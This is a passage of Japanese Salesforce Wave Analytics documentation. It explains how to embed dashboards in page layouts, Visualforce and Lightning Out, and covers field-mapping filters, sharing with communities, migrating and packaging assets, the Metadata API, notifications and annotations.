3. レイアウト上のダッシュボードの位置を決めたら、要素をダブルクリックするか、要素の横にあるレンチ

アイコン ( ) をクリックして、高さなどのプロパティを変更できます。
参照中のレコードに関連するデータのみが表示されるようにダッシュボードを設定するには、項目の対応
付けを使用します。項目の対応付けによって、ダッシュボードのデータ項目がオブジェクトの項目に結び
付けられます。下表は、項目の対応付けのビルディングブロックの説明です。

アクセス方法内容ビルディングブロッ
ク

Wave ホームページで、データセットの [編集] を選択し
ます。[システム名] は、データセットの編集ページの

Wave データセットデータセットシステ
ム名

左パネルにあります (組織に名前空間が定義されている
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アクセス方法内容ビルディングブロッ
ク

場合は、データセットのシステム名の前に、名前空間
プレフィックスとアンダースコアを 2 つ追加します)。

[調査] アイコンをクリックして、ウィジェットを開き
ます。次に、[オプション] メニューから [SAQL を表示]

Wave データセットのディ
メンション

項目

を選択します。「グループ化単位」ステートメントで
ディメンション名を探します。

[設定] で、目的のオブジェクトを見つけて [項目] を選
択します。[項目名] (API 名ともいう) を使用します。カ

Salesforce オブジェクトの項
目、または特定の値

値

スタム項目の場合、末尾が「__c」の名前を使用しま
す。

JSON の項目対応付けは、次の形式に従います。
{

"dataset1_system_name": {
"field1": ["$value1"],
"field2": ["$value2"]

},
"dataset2_system_name": {

"field1": ["$value1"],
"field2": ["$value2"]

}
}

たとえば、ダッシュボードに「Service」という名前のデータセットのデータが表示され、取引先と業種の
ディメンションがある場合、項目対応付けは次のように定義されます。
{

"service": {
"AccountId": ["$Id"],
"Industry": ["$Industry"]

}
}

メモ: [項目の対応付け] JSON を使用してディメンションで絞り込むには、ダッシュボードにそのディ
メンション用のリストウィジェットを含める必要があります。

Wave Analytics アセットには、その他に次のプロパティがあります。
• [タイトルを表示] チェックボックスでは、ダッシュボードタイトルの表示を制御できます。
• [[共有] アイコンを表示] オプションを使用すると、ダッシュボードに [共有] アイコンを含めることが

できます。このアイコンが表示されているときは、ユーザがクリックして [共有] ダイアログを開き、
Chatter に投稿したり、画像やデータをダウンロードしたりすることができます。

• [エラー時に非表示] チェックボックスでは、エラーがある場合 (ダッシュボードが見つからないなど)

に、Wave Analytics アセットを表示するかどうかを制御できます。
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• ダッシュボードに、最終更新日時が追加されます。
次の制限に注意してください。
• 追加できるダッシュボードはページレイアウトごとに 1 つです。
• Wave Analyticsダッシュボードは、従来のページレイアウトエディタではサポートされません。従来のペー

ジレイアウトエディタで Wave ダッシュボードのレイアウトを開いて保存すると、そのダッシュボード
が削除されます。

高度なページレイアウトエディタの使用方法についての詳細は、「高度なページレイアウトエディタを使
用したページレイアウトのカスタマイズ」を参照してください。

関連トピック:

Trailhead: ユーザが見ている場所にダッシュボードを配置する

Wave Analytics ダッシュボードの Visualforce ページへの追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

埋め込まれた Wave ダッ
シュボードを参照する
• 「Wave Analytics の使

用」権限を含む
Analytics Cloud - Wave
Analytics Platform 権限
セットライセンス、ま
たは「コミュニティ
ページでの Wave
Analytics の表示」権限
を含む Analytics Cloud
- Wave コミュニティ
ユーザ権限セットライ
センス

Wave ダッシュボードをVisualforceページに埋め込むことで、データの対話型のプ
レゼンテーションが可能になります。ユーザは Visualforceページのフレーム内ま
たは Wave Analytics の新しいウィンドウ内でダッシュボードのドリルダウンや探
索を行うことができます。
ダッシュボードを Visualforce ページに追加するには、<wave:dashboard> コン
ポーネントを設定します。追加できるダッシュボードは Visualforceページごとに
1 つです。ただし、ダッシュボードには他のダッシュボードや Wave Analytics ア
セットへのリンクを含めることができます。
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次に、2 つの例を示します。ダッシュボードは、dashboardId  (0FK で始まる 18 文字のコード) で識別されま
す。dashboardId は、ダッシュボード表示時の URL の末尾にあります。
<apex:page sidebar="true" standardController="Opportunity">

<wave:dashboard dashboardId="0FKB000000006Y7OAI"
showTitle="true"
height="800px"
openLinksInNewWindow="true"
filter="{'opportunity': {'Id': ['{!Opportunity.Id}']}}" />

</apex:page>

<apex:page standardController="case">

<wave:dashboard dashboardId="0FKxx000000000uGAA"
height="1000px"
showTitle="false"
showSharing="true"
openLinksInNewWindow="false"
hideOnError="true"
filter="{'ServiceCase4': {'Id': ['{!case.Id}'], 'OwnerId' : ['{!case.OwnerId}'],

'Product__c' : ['{!case.Product__c}'], 'Reason' : ['{!case.Reason}']}}" />

</apex:page>

• showTitle 属性では、ダッシュボードタイトルの表示を制御できます。
• showSharing属性では、ダッシュボードに [共有] アイコンを含めることができます。アイコンが存在して

いる場合、ユーザはアイコンをクリックして [共有] ダイアログを開き、Chatter に投稿したり画像やデータ
をダウンロードしたりできます。

• openLinksInNewWindow 属性では、ダッシュボードから他のアセットへのリンクをどこで開くかを指定
できます。

• hideOnError 属性では、エラーがある場合 (ダッシュボードが見つからないなど) に、Wave Analytics アセッ
トを表示するかどうかを制御できます。

• ダッシュボードに、最終更新日時が追加されます。
• filter 属性では、JSON を使用して実行時にデータセット項目を絞り込むことができます。検索条件は、

JSON 文字列を使用して設定されます。下表は、項目の対応付けのビルディングブロックの説明です。

アクセス方法内容ビルディングブロッ
ク

Wave ホームページで、データセットの [編集] を選択し
ます。[システム名] は、データセットの編集ページの

Wave データセットデータセットシステ
ム名

左パネルにあります (組織に名前空間が定義されている
場合は、データセットのシステム名の前に、名前空間
プレフィックスとアンダースコアを 2 つ追加します)。

[調査] アイコンをクリックして、ウィジェットを開き
ます。次に、[オプション] メニューから [SAQL を表示]

Wave データセットのディ
メンション

項目
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アクセス方法内容ビルディングブロッ
ク

を選択します。「グループ化単位」ステートメントで
ディメンション名を探します。

[設定] で、目的のオブジェクトを見つけて [項目] を選
択します。[項目名] (API 名ともいう) を使用します。カ

Salesforce オブジェクトの項
目、または特定の値

値

スタム項目の場合、末尾が「__c」の名前を使用しま
す。

メモ:  Visualforce では、[値] は object.field の形式になっている必要があります。

JSON の項目対応付けは、次の形式に従います。

filter="{ 'datasetSystemName1': {'field1': ['!value1']}, 'datasetSystemName2':
{'field1': ['!value1', '!value2'],'field2': ['!value3']} }"

メモ: filter属性 JSON を使用してディメンションで絞り込むには、ダッシュボードにそのディメンショ
ン用のリストウィジェットを含める必要があります。

Wave Analytics の埋め込みについての詳細は、「標準のコンポーネントの参照」を参照してください。

関連トピック:

Trailhead: 主要ダッシュボードの可視性を向上させる

埋め込みのダッシュボードのための信頼できるサイトのホワイトリスト登録
Web ページまたは Web ベースアプリケーションに Wave を埋め込みます。Wave Analytics ホワイトリストで、信
頼済みサイトを指定することで、Salesforce サーバの外側にある Web サイトとアプリケーションに埋め込み Wave

ダッシュボードを含めることができます。
まず、Visualforce 埋め込み、Lightning アプリケーションビルダー、または Lightning Out を使用して、Wave ダッシュ
ボードコンポーネントをサイトに追加します。次のコードサンプルは、Lightning Out を使用して Wave ダッシュ
ボードコンポーネントを追加する方法を示しています。
$Lightning.use("wave:waveApp", function() {

$Lightning.createComponent("wave:waveDashboard", {
dashboardId: "0FKxx00000006bOGAQ"

}, "app");
}, url, accessToken)

次に、コンテンツセキュリティポリシー (CSP) を使用して、ホワイトリストを設定します。「埋め込みの Wave

ダッシュボードのための信頼できるサイトのホワイトリストの設定」を参照してください。
埋め込み Wave のホワイトリストにはデフォルトで次のドメインが含まれます。
• *.salesforce.com:*

• *.force.com:*
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• 組織のカスタムドメイン

モバイルデバイスでの埋め込みダッシュボードの表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience。

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

Wave Analytics を参照する
• 「Wave Analyticsの使

用」

モバイルユーザがアクセスする、コミュニティなどの Salesforce Web サイトの
Visualforce ページに Wave ダッシュボードコンポーネントを追加します。または、
Lightning アプリケーションページに Wave ダッシュボードコンポーネントを追加
します。埋め込まれた Wave ダッシュボードは任意のデバイス (電話、タブレッ
トなど) に合わせて最適化されたレイアウトを選択できます。
Wave ダッシュボードデザイナに組み込まれたダッシュボードは、すべての画面
サイズに対応します。Wave ダッシュボードデザイナでタブレット、電話、時計、
またはカスタムレイアウトを作成すると、ダッシュボードは自動的に画面に合
わせて最適化されます。詳細は、「各種のデバイス固有の Wave ダッシュボード
レイアウトの生成」を参照してください。
ダッシュボードに適切なレイアウトがある場合には、Visualforce または Lightning

アプリケーションビルダーを使用してダッシュボードを埋め込みます。Salesforce1

の場合は、Lightning アプリケーションページのみがサポートされます。詳細は、
「Lightning ページ」を参照してください。
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コミュニティとの Wave の共有

エディション

使用可能なエディション:
Salesforce Classic

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能

ユーザ権限

コミュニティを作成、カ
スタマイズ、有効化する
• 「コミュニティの作成

および設定」

および更新しようとし
ているコミュニティの
メンバーである

Wave Analytics 設定を変更
する
• 「Wave Analytics の管

理」権限が含まれる
Analytics Cloud - Wave
Analytics Platform 権限
セットライセンス

埋め込み Wave ダッシュ
ボードを参照、探索、お
よび共有する
• 「コミュニティページ

での Wave Analytics の
表示」権限が含まれる
Analytics Cloud - Wave
Community Users 権限
セットライセンス

コミュニティ用の Wave Analytics を使用すると、外部ユーザが各自のコミュニティ
の Visualforce ページに埋め込まれた Wave ダッシュボードで共有されたアプリケー
ションを参照できます。

メモ: カスタマーコミュニティプラスまたはパートナーコミュニティライ
センスを所有するユーザのみがこの機能を使用できます。この機能はコミュ
ニティでサポートされますが、ポータルではサポートされません。

コミュニティユーザはコミュニティの Visualforce ページに埋め込まれたダッシュ
ボードを表示でき、埋め込まれたダッシュボードでレンズ、ファセット、リン
クを探索できます。コミュニティユーザが Wave Analytics ホームページにアクセ
スすることや、Wave アセットを作成、更新、削除することはできません。また、
データをアップロードすることもできません。次の表には、内部の Wave ユーザ
と外部のコミュニティユーザの違いがまとめられています。

コミュニティユーザWave ユーザ

ダッシュボードおよびレンズ
(Visualforce ページに埋め込み) のア
クセス、探索、およびファセット

ダッシュボードおよびレンズの作
成、更新、または削除

ダッシュボードおよびレンズの共
有

Wave ホームページへのアクセス

Wave テンプレートアプリケーショ
ン (Sales Wave など) へのアクセス

大量のデータセットの分析

セキュリティ述語によるメリット

カスタムアクションメニューの使
用

モバイルデバイスから Wave へのア
クセス

コミュニティ用の Wave Analytics を設定する手順は、次のとおりです。
1. コミュニティ用の Wave Analytics を有効にし、コミュニティメンバーを設定します。「コミュニティの Wave

Analytics の有効化」を参照してください。
2. Wave ダッシュボードを作成し、コミュニティと共有できる Wave アプリケーションに保存します。
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3. Wave ダッシュボードをコミュニティの Visualforce ページに埋め込みます。詳細は、「Wave Analytics ダッシュ
ボードの Visualforce ページへの追加」を参照してください。ダッシュボードを新しい Visualforce ページに埋
め込む場合、そのページのタブを作成してコミュニティに追加します。

4. ダッシュボードが含まれる Wave アプリケーションから、[共有] を選択します。
5. [共有] ダイアログで、[コミュニティとの共有を有効化] を選択します。

アプリケーションが外部ユーザと共有できるようになると、一目でわかるメッセージが表示されます。ア
プリケーションの共有状況を簡単に確認および変更できます。

6. 名前を入力して [追加] をクリックし、アプリケーションを共有するコミュニティパートナーや顧客を招待
します。共有リストのコミュニティメンバーは外部ユーザとして区別するためにオレンジ色で強調表示さ
れ、閲覧者アクセス権のみが使用可能です。

セキュリティは次のレベルで適用されます。
• ロール別、グループ別、ユーザ別 ([共有] ダイアログ)

• Wave アプリケーションレベル ([コミュニティとの共有を有効化] チェックボックス)

• 組織設定レベル (セキュリティ述語)

[分析] タブを使用した Wave の Salesforce への統合
Salesforce Classic または Lightning Experience 内のタブから個人の分析ホームにアクセスし、Wave アプリケーション
を実行します。
新しい Wave 対応の組織では [分析] タブを使用できます。
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既存の組織では、新しいタブの場合と同様に [分析] タブを設定します。

[分析] タブ内の Wave には次の Wave 機能を含めることができます。
• アノテーション、通知、全画面プレゼンテーション
• 共有およびダウンロードオプション
• 他の Wave アセットへのリンク
• レコードアクションメニュー
• ネイティブ Wave へのリンク (Wave ユーザはこれを使用できますがコミュニティユーザは使用できません)
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Wave の移行、パッケージ化、および配布
Wave アセットを変更セットを使用して移行し、管理パッケージ内にまとめてバンドルし、AppExchange とライ
センス管理アプリケーションを使用してパッケージを配布および追跡し、メタデータ API を使用して組織のた
めのカスタマイズを管理します。

変更セットを使用した Wave アセットの移行
変更セットを使用すると、カスタマイズした Wave アセットをリリース接続のある組織間で移行できます。
たとえば、ダッシュボード、レンズ、データセット、データフローが含まれる Wave アプリケーションを
Sandbox 組織で作成し、テストが完了したらアプリケーションアセットを本番組織に移行することができま
す。
Wave アセットの管理パッケージへのパッケージ化
Wave アプリケーション、ダッシュボード、レンズ、データセット、データフローなどの Wave アセットで
構成される管理パッケージを作成できます。パッケージを使用して、それらのアセットを他のユーザや組
織 (社外を含む) に配布できます。
AppExchange を使用した Wave アセットの配布
管理パッケージがセキュリティレビューで認定されたら、AppExchange にアップロードして顧客にリリース
できます。ライセンス管理アプリケーションでパッケージリリース種別を指定し、メジャーおよびマイナー
バージョン番号を管理し、ライセンスオプションを指定できます。
Wave アセットとユーザ XMD に対するメタデータ API の使用
Wave ではメタデータ API をフルサポートしており、組織のカスタマイズの取得、リリース、作成、更新、
または削除に使用できます。

変更セットを使用した Wave アセットの移行
変更セットを使用すると、カスタマイズした Wave アセットをリリース接続のある組織間で移行できます。た
とえば、ダッシュボード、レンズ、データセット、データフローが含まれる Wave アプリケーションを Sandbox

組織で作成し、テストが完了したらアプリケーションアセットを本番組織に移行することができます。

ヒント: このトピックでは、Wave アセット (レンズ、カスタマイズされたダッシュボード、データセット
コンテナなど) を移行する方法について説明します。Salesforce データまたは Wave データの組織間の移行に
関する説明はありません。このトピックで Wave データセットについて参照している場合、実際に移行さ
れるのはコンテナ (データセットメタデータ) です。

Wave アセットを移行する手順は、次のとおりです。
1. Sandbox などのソース組織で Wave アセットを作成してテストします。
2. ソース組織の [設定] で、[送信変更セット] (ページ 6949) を選択し、変更セットを新規作成します。
3. [変更セットコンポーネント] セクションで [追加]をクリックし、[コンポーネントの種類]ドロップダウンリ

ストを使用して Wave アセットを選択し、変更セットに追加します。連動するデータフローは手動で追加す
る必要があります。つまり、データセットを変更セットに追加しても、関連付けられているデータフロー
が自動的に追加されることはありません。
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重要: Wave Analytics コンポーネントには、Wave アプリケーション、ダッシュボード、データフロー、
データセット、レンズ、マスタユーザ XMD などがあります。Waveコンポーネントをパッケージ化する
ときには、次のヒントとベストプラクティスに留意してください。
• 管理パッケージとは異なり、Wave 未管理パッケージは開発者専用の機能とみなされ、汎用的な配

布ではサポートされていません。Wave 未管理パッケージは、Salesforce 未管理パッケージの制約内
で期待どおりに機能しますが、管理パッケージと同じテストレベルは適用されません。未管理パッ
ケージは、管理パッケージの多くのセキュリティ対策がなく、それらの制限に精通している開発者
向けです。『ISVforce ガイド』の関連するトピックも参照してください。

• Wave システム管理者権限は、パッケージを作成するためには必要ですが、リリースするためには
必要ありません。リリースには Salesforce システム管理者権限のみが必要です。

• データセットとデータフローの間には関連付けはありません。つまり、連動はしません。両方を
パッケージ化する場合は、手動で追加する必要があります。そうしないと、リリース中にエラーが
表示されます。変更セットの場合と同様に、データセットとデータフローの両方をパッケージ化す
るときには手動で追加します。

• Spring '17 リリースより前では、リリースするダッシュボードで使用している画像ウィジェットが対
象組織で使用不可の画像ファイルを参照している場合、画像が表示されませんでした。これを回避
するために、手動で画像をアップロードするか、画像を含むフォルダをパッケージに追加していま
した。Spring '17 リリースでは、画像がダッシュボードとパッケージ化され、ダッシュボード間の参
照が維持されるようになっています。そのため、リンクで参照されているダッシュボードは削除で
きません。そのような場合、ソース組織でダッシュボードの画像ウィジェットまたはリンクウィ
ジェットを再作成して再度パッケージ化するか、対象組織でリンクの問題を修正します。

• データフローをパッケージ化する場合は注意が必要です。無効なスキーマの上書き、およびサポー
トされていないパラメータや無効なパラメータは削除されます (たとえば、Type = dim はサポー
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トされなくなり、Type = textになりました)。JSON でのコメントは削除されます。ノードが異な
る順序で表示されることがあります。

4. [連動関係を参照/追加] をクリックしてすべての連動アセットと適切な権限セットおよびプロファイル設定
(ページ 7004)が追加されたことを確認します。

5. [アップロード] をクリックし、本番など、対象組織を選択します。対象組織でインバウンド接続が許可さ
れていることを確認します。インバウンドおよびアウトバウンド組織にはリリース接続が必要です。

6. 対象組織の [設定]から [受信変更セット] (ページ6945)を選択し、ソース組織からアップロードした変更セッ
トを見つけます。

7. 変更セットを確認およびリリースして、追加した権限セットとプロファイルに適切なユーザが割り当てら
れていることを確認します。Wave アセットが対象組織で使用できるようになります。

変更セットを使用して組織間で設定の変更を移行する方法についての詳細は、「Release Management: Deploying

Changes Using Change Sets」(リリース管理: 変更セットを使用した変更のリリース) 動画を参照してください。

関連トピック:

変更セット
変更セットのベストプラクティス
送信変更セットのアップロード
受信変更セットのリリース

Wave アセットの管理パッケージへのパッケージ化
Wave アプリケーション、ダッシュボード、レンズ、データセット、データフローなどの Wave アセットで構成
される管理パッケージを作成できます。パッケージを使用して、それらのアセットを他のユーザや組織 (社外
を含む) に配布できます。
パッケージとは、個々のコンポーネントなどの小さいものや関連アプリケーションのセットなどの大きいもの
を格納するコンテナです。パッケージを他の Salesforce ユーザや組織 (社外を含む) に配布できます。パッケージ
には 2 つの形式 (未管理と管理) がありますが、Wave でサポートされているのは管理パッケージのみで、Developer

Edition 組織で作成する必要があります。
管理パッケージのみサポートされる理由は、いくつかの重要な利点、特にライセンス付与とライセンス管理に
関する利点があるためです。AppExchange とライセンス管理アプリケーション (LMA) を使用して、パートナー、
ISV、および開発者はユーザベースのアプリケーションライセンスを販売して管理できます。管理パッケージ
はアップグレードも可能です。つまり、最初からやり直すのではなく、増分アップグレードができます。
Wave アセットをパッケージ化する手順は、次のとおりです。
1. Developer Edition 組織の [設定] から、[パッケージ] を選択し、[新規] をクリックして管理パッケージを作成

(ページ 6967)します。
2. [コンポーネント] タブで [追加] をクリックし、[コンポーネントの種類] ドロップダウンリストを使用して

Wave アセットを選択し、パッケージに追加します。連動するデータフローは手動で追加する必要がありま
す。つまり、データセットをパッケージに追加しても、関連するデータフローが自動的に追加されること
はありません。
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重要: Wave Analytics コンポーネントには、Wave アプリケーション、ダッシュボード、データフロー、
データセット、レンズ、マスタユーザ XMD などがあります。Waveコンポーネントをパッケージ化する
ときには、次のヒントとベストプラクティスに留意してください。
• 管理パッケージとは異なり、Wave 未管理パッケージは開発者専用の機能とみなされ、汎用的な配

布ではサポートされていません。Wave 未管理パッケージは、Salesforce 未管理パッケージの制約内
で期待どおりに機能しますが、管理パッケージと同じテストレベルは適用されません。未管理パッ
ケージは、管理パッケージの多くのセキュリティ対策がなく、それらの制限に精通している開発者
向けです。『ISVforce ガイド』の関連するトピックも参照してください。

• Wave システム管理者権限は、パッケージを作成するためには必要ですが、リリースするためには
必要ありません。リリースには Salesforce システム管理者権限のみが必要です。

• データセットとデータフローの間には関連付けはありません。つまり、連動はしません。両方を
パッケージ化する場合は、手動で追加する必要があります。そうしないと、リリース中にエラーが
表示されます。変更セットの場合と同様に、データセットとデータフローの両方をパッケージ化す
るときには手動で追加します。

• Spring '17 リリースより前では、リリースするダッシュボードで使用している画像ウィジェットが対
象組織で使用不可の画像ファイルを参照している場合、画像が表示されませんでした。これを回避
するために、手動で画像をアップロードするか、画像を含むフォルダをパッケージに追加していま
した。Spring '17 リリースでは、画像がダッシュボードとパッケージ化され、ダッシュボード間の参
照が維持されるようになっています。そのため、リンクで参照されているダッシュボードは削除で
きません。そのような場合、ソース組織でダッシュボードの画像ウィジェットまたはリンクウィ
ジェットを再作成して再度パッケージ化するか、対象組織でリンクの問題を修正します。

• データフローをパッケージ化する場合は注意が必要です。無効なスキーマの上書き、およびサポー
トされていないパラメータや無効なパラメータは削除されます (たとえば、Type = dim はサポー
トされなくなり、Type = textになりました)。JSON でのコメントは削除されます。ノードが異な
る順序で表示されることがあります。

3. [連動関係を参照]をクリックしてすべての連動アセットと適切な権限セットおよびプロファイル設定 (ペー
ジ 7004)が追加されたことを確認します。

4. パッケージが完了したら、配布用アプリケーションを準備 (ページ 7044)します。

関連トピック:

アプリケーションのパッケージ化および配布
ライセンス管理アプリケーションの概要

AppExchange を使用した Wave アセットの配布
管理パッケージがセキュリティレビューで認定されたら、AppExchange にアップロードして顧客にリリースで
きます。ライセンス管理アプリケーションでパッケージリリース種別を指定し、メジャーおよびマイナーバー
ジョン番号を管理し、ライセンスオプションを指定できます。
Wave 管理パッケージを配布する手順は、次のとおりです。
1. パッケージのセキュリティレビューを申請します。
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パッケージは、AppExchange にリストする前に、設定された標準を満たす必要があります。Wave アセットが
含まれるパッケージには標準 Salesforce オブジェクトも含まれている可能性があるため、他のすべての
AppExchange リストと同じセキュリティ要件の対象となります。

2. パッケージの準備ができたら、[アップロード] をクリックし、必須情報を入力します。
3. 名前 (通常は説明と日付) とバージョン番号を含む、バージョンの詳細を追加します。
4. リリース種別 (「管理 - ベータ」または「管理 - リリース済み」) と、適切なバージョン番号を選択します。

「管理 - ベータ」種別はテスト用であり、通常は一部の顧客に使用します。また、変更が許可されます (「管
理 - リリース」種別では変更は許可されません)。

5. AppExchange リストの説明を追加します。
6. 必要に応じて、リリースノートと手順の URL、パスワード (パッケージを非公開に保つ場合)、必要なその他

のオブジェクトを追加します。
7. [アップロード] をクリックします。

メモ: リリースには、Salesforce システム管理者権限が必要です。

ユーザベースのライセンスを管理するには、AppExchange とライセンス管理アプリケーション (LMA) を使用しま
す。このアプリケーションはパートナーコミュニティサイトから要求できます。

関連トピック:

アプリケーションのパッケージ化および配布
セキュリティレビューの概要
ライセンス管理アプリケーションの概要

Wave アセットとユーザ XMD に対するメタデータ API の使用
Wave ではメタデータ API をフルサポートしており、組織のカスタマイズの取得、リリース、作成、更新、また
は削除に使用できます。
Salesforce 組織がカスタマイズされるたびに、そのメタデータは変更されます。ページレイアウトの編集、カス
タム項目の作成、Wave データフローの追加のいずれでもメタデータが更新されます。メタデータは、組織の
設定と Wave アクセスの設定を説明する情報です。データに関するデータです。たとえば、メタデータ型
WaveLensには、使用するデータセット、ダッシュボードの表示ラベル、使用する視覚化ウィジェット種別
(ピボットテーブル、積み上げ縦棒、ヒートマップなど) といったレンズを説明するプロパティが含まれます。
独自のカスタムメタデータ型を作成して、データではなくメタデータのレコードを持つ独自の設定オブジェク
トを作成することができます。カスタムオブジェクトまたはカスタム設定のデータレコードからアプリケー
ションを作成するのではなく、カスタムメタデータ型を作成して、メタデータレコードを追加し、メタデータ
と同様にパッケージ、リリース、アップグレードして管理できます。
メタデータ APIは変更セットとパッケージ化を行うための基盤ですが、開発者はメタデータ API を使用して Wave

アセットを操作することができます。たとえば、アプリケーションでダッシュボードに関するメタデータを取
得し、リポジトリにバックアップ (およびリポジトリから復元) し、効果的なバージョン管理を提供することが
できます。
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ユーザ XMD をパッケージ化およびリリースすることもできます。ユーザ XMD は JSON ドキュメントであり、こ
れを使用して、アプリケーションでデータセットの特定のメタデータを上書きできます。ユーザはデータの表
示方法を制御する設定 (色、形式、表示ラベルなど) を管理できます。上書きしたデータセットメタデータをリ
リースするには、ユーザ XMD 属性をパッケージ化する必要があります。メタデータ API のサポートにより、移
行ツールを使用してユーザ XMD を含むデータセットを組織間で移行できます。たとえば、ユーザ XMD の上書
きを Sandbox から本番組織に移行できます。パートナーはアプリケーション固有のユーザ XMD を AppExchange

パッケージと共にリリースできます。パートナーはユーザ XMD を引き続き管理し、将来のパッケージバージョ
ンで更新できます。『メタデータ API 開発者ガイド』の「WaveXmd」メタデータ型を参照してください。
メタデータ API では、次の Wave メタデータ型がサポートされます。
• WaveApplication

• WaveDashboard

• WaveDataflow

• WaveDataset

• WaveLens

• WaveXmd

• WaveTemplateBundle

関連トピック:

メタデータ API について

重要なビジネス総計値に関するスマート通知の設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience。

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

Wave Analytics ダッシュ
ボードウィジェットで通
知を設定する
• 「Wave Analyticsの使

用」

通知を使用すると、選択した時間と場所で Wave が作動します。ダッシュボード
の数値ウィジェットに通知条件を追加して、クエリを実行する時間を選択しま
す。Wave、Lightning Experience、Salesforce1 モバイルアプリケーション、およびメー
ルに通知を表示できます。通知はWave ダッシュボードデザイナで作成したダッ
シュボードで使用できます。
Wave 通知を設定する手順は、次のとおりです。
1. ダッシュボード上で、通知を受け取りたい KPI を表示する数値ウィジェット

を見つけます。必要に応じて、ダッシュボードの検索条件を使用してデータ
に対するクエリを絞り込み、パーソナライズした KPI を作成できます。

2. ドロップダウンリストで [通知を設定] を選択します。
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3. ウィジェットクエリが値を返したときに、すぐに通知が必要な値を [新規通知] パネルで設定します。
たとえば、チームが目標の 75% を達成したときに通知が必要とします。その場合は、目標達成率数値ウィ
ジェットで [通知を設定]をクリックします。[新規通知] パネルで、ドロップダウンリストから [次の値以上]

を選択し、「75」をしきい値に入力します。

4. クエリを実行する頻度と時間を選択します。

5. [保存して実行]をクリックして通知をすぐにテストするか、[保存] だけを行います。システム管理者の設定
は必要ありません。

KPI に設定した条件に一致すると、アプリケーションとメールで通知されます。Wave、Lightning Experience、
Salesforce1 では、ベルアイコン ( ) で通知します。
Wave のベルのドロップダウンリストには、Wave 通知を管理するオプションが含まれます。ダッシュボードで
も通知を管理できます。プラスが付いたベルアイコン ( ) は通知のリストを開き、通知が追加されたウィ
ジェット上に青色の数字 ( ) を表示します。[すべての通知] パネルには、通知それぞれに通知の編集と削除を
行うためのドロップダウンアクションリストがあります。
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次の Wave 通知の考慮事項に注意してください。
• 各ユーザに設定できる通知は最大 5 つまでです。
• Wave ダッシュボードデザイナで設計されたダッシュボードのみで、通知は使用できます。
• 数値ウィジェットのみで、通知は使用できます。
• クエリにグルーピングがある場合、最初の行 (ウィジェットに表示される値) だけではなくすべての結果が

通知条件に対して評価されます。

ダッシュボードアノテーションを使用したコラボレーション

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience。

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

Wave Analytics ダッシュ
ボードウィジェットにア
ノテーションを付加する
• 「Wave Analyticsの使

用」

ダッシュボードおよび Chatter で投稿されたコメントを使用してダッシュボード
ウィジェットにアノテーションを付加します。アノテーションを使用すると、
目の前のダッシュボードを参照しながら、データやその視覚化の方法について
会話を進めることができます。

メモ: アノテーションは、Wave ダッシュボードデザイナを使用して作成さ
れたダッシュボードでのみサポートされます。

アノテーションを作成するには、ウィジェットのドロップダウンリストから [ア
ノテーションを追加] を選択するか、ダッシュボードコントロールバーにある吹
き出しアイコン ( ) をクリックします。アノテーションが付加されたウィ
ジェットには、進行中のアノテーションの数を示す青い正方形が表示されます。
Wave では、進行中のアノテーションと解決済みのアノテーションの両方が保存
されます。ウィジェットを削除した場合、進行中のアノテーションは添付解除
されたアノテーションとして保存されます。添付解除されたアノテーションに
はダッシュボード下部の青い円からアクセスできます。
青い正方形または円のアノテーションをクリックすると、開いてコメントが表
示されます。
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組織内の任意のユーザを @メンションできますが、ダッシュボードへのアクセスは、設定したセキュリティに
よって制御されます。
Wave ダッシュボードのアノテーションはネイティブで Chatter と統合され、ダッシュボードのコメントも Chatter

投稿として表示されます。[アノテーション] パネルには、ダッシュボードの現在の状態のスクリーンショット
を投稿するオプションがあります。
開いたアノテーションで、フィードを更新することや、アノテーションを閉じることができます。

ダッシュボードパネルの各アノテーションには、アノテーションを解決または削除するためのドロップダウン
アクションリストがあります。
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ボタンをクリックすると、ダッシュボードのすべての投稿を受け取ります。アノテーションを Chatter

で確認するときは、ダッシュボード画像をクリックして、Wave のダッシュボードにあるアノテーションに直
接移動します。

関連トピック:

ダッシュボードウィジェットのアノテーションの有効化

対話型のライブダッシュボードの提示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience。

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

Wave Analytics から提示す
る
• 「Wave Analyticsの使

用」

実行中のアプリケーションでダッシュボードを提示し、Wave から直接ミーティ
ングを実施します。静的画像を使用するスライドの代わりにダッシュボードを
使用することで、データにリアルタイムにアクセスし、動的な視覚化を実現で
きます。
ホームページでアプリケーションをクリックしてプレゼンテーションを開始す
るか、アプリケーションがすでに表示されている場合は [提示] ボタンをクリッ
クします。プレゼンテーションは、Wave ウィンドウ内でナビゲーションリスト
の最初のダッシュボードを使用して開始されます。

プレゼンテーションを全画面で実行するには、 をクリックします。
プレゼンテーション中、絞り込み、ファセット、他のダッシュボードへのリン
クなどのすべての Wave ダッシュボード機能を使用できます。さらに、プレゼン
テーションにはコントロールバーがあります。

ダッシュボードデザイナの共有、ダウンロード、アクセスができるほか、通知の設定や、アノテーションが付
加されたダッシュボードのフィードでのコラボレーションができます。

別のダッシュボードに移動するには、 をクリックしてナビゲーションパネルを開き、提示する次のダッ
シュボードを選択します。 を再度クリックしてナビゲーションパネルを閉じます。
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レンズおよびダッシュボードでのカスタムアクションメニューを使用したアク
ションとリンクの有効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience。

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

視覚化を表示する
• 「Wave Analyticsの使

用」

データセットの拡張メタ
データ (XMD) ファイルを
編集する
• 「Wave Analytics デー

タフローの編集」

Wave Analytics のレンズおよびダッシュボードのカスタムメニューを使用して、
